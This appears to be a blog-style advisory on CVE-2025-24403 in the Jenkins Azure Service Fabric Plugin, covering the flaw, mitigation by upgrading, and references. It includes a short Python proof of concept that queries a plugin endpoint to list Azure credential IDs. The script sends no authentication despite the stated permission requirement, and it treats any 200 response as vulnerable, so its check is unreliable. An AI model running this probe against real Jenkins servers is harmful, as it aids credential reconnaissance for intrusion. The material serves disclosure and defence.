CVE-2025-24403: Jenkins Azure Service Fabric Plugin Vulnerability - Missing Permission Check Allows Credential ID Enumeration

In this post, we will be discussing a vulnerability found in Jenkins Azure Service Fabric Plugin version 1.6 and earlier. This vulnerability, labeled as CVE-2025-24403, allows attackers with Overall/Read permissions to enumerate the credential IDs of Azure credentials stored in Jenkins. We will delve into the details of the vulnerability, demonstrating how an attacker can exploit it, and provide guidance on how to mitigate the risk posed by this vulnerability.

Overview of the Vulnerability

The Jenkins Azure Service Fabric Plugin is a popular tool utilized for integrating Jenkins with Microsoft Azure Service Fabric, which is a distributed systems platform that simplifies microservices application development. The plugin provides various functions for deploying, managing, and scaling applications within Azure Service Fabric, including interacting with VSTS Git repositories hosted in Azure.

The vulnerability in question stems from a missing permission check in the plugin, which enables an attacker with Overall/Read permission to access and enumerate the credential IDs of Azure credentials. This information leakage can potentially be utilized by an attacker to compromise Jenkins systems and make unauthorized actions in Azure.

The vulnerability is present in Jenkins Azure Service Fabric Plugin version 1.6 and earlier, and a patch has been released in version 1.7 to address the issue.

Exploiting the Vulnerability

To exploit this vulnerability, an attacker only requires Overall/Read permissions in Jenkins. This is an important point to consider as read permissions are often granted to users who need access to view the state of a Jenkins instance and its jobs, but not to make any modifications to the configuration or execute actions.

The following code snippet demonstrates an example of how an attacker may be able to enumerate the credential IDs of Azure credentials:

import requests

# Replace <jenkins_url> with the URL of your Jenkins instance
jenkins_url = "<jenkins_url>"
endpoint = "/descriptorByName/com.microsoft.jenkins.servicefabric.ServiceFabricSFMCClient/fillCredentialsId/items"

url = jenkins_url + endpoint

response = requests.get(url)

if response.status_code == 200:
    print("Vulnerable to CVE-2025-24403")
    print("Azure Credentials IDs:")
    print(response.text)
else:
    print("Not vulnerable to CVE-2025-24403")

In this code snippet, a Python script makes use of the requests library to send an HTTP GET request to the Jenkins instance at the URL /descriptorByName/com.microsoft.jenkins.servicefabric.ServiceFabricSFMCClient/fillCredentialsId/items. If this request returns a 200 OK status code, it implies that the Jenkins instance may be vulnerable to CVE-2025-24403. The response will contain the enumerated Azure credentials IDs.

Mitigation Measures

To mitigate the risk posed by this vulnerability, it is recommended that users upgrade to Jenkins Azure Service Fabric Plugin version 1.7 or later, which contains a patch for the vulnerability. This can be performed from the Jenkins Plugin Manager under "Manage Jenkins" > "Manage Plugins". It is also important to follow Jenkins best practices to secure your instance and limit user permissions to the minimum required.

References

1. Jenkins security advisory: Issue 67632
2. Azure Service Fabric Plugin GitHub repository: Microsoft/azure-service-fabric-plugin
3. Official CVE details: National Vulnerability Database (NVD)

Conclusion

CVE-2025-24403 represents a missing permission check vulnerability in Jenkins Azure Service Fabric Plugin version 1.6 and earlier, which allows attackers with Overall/Read permission to enumerate credential IDs of Azure credentials. By upgrading to the patched version of the plugin (1.7 or later) and following Jenkins security best practices, the risk posed by this vulnerability can be mitigated.

Timeline

Published on: 01/22/2025 17:15:14 UTC
Last modified on: 01/23/2025 16:15:41 UTC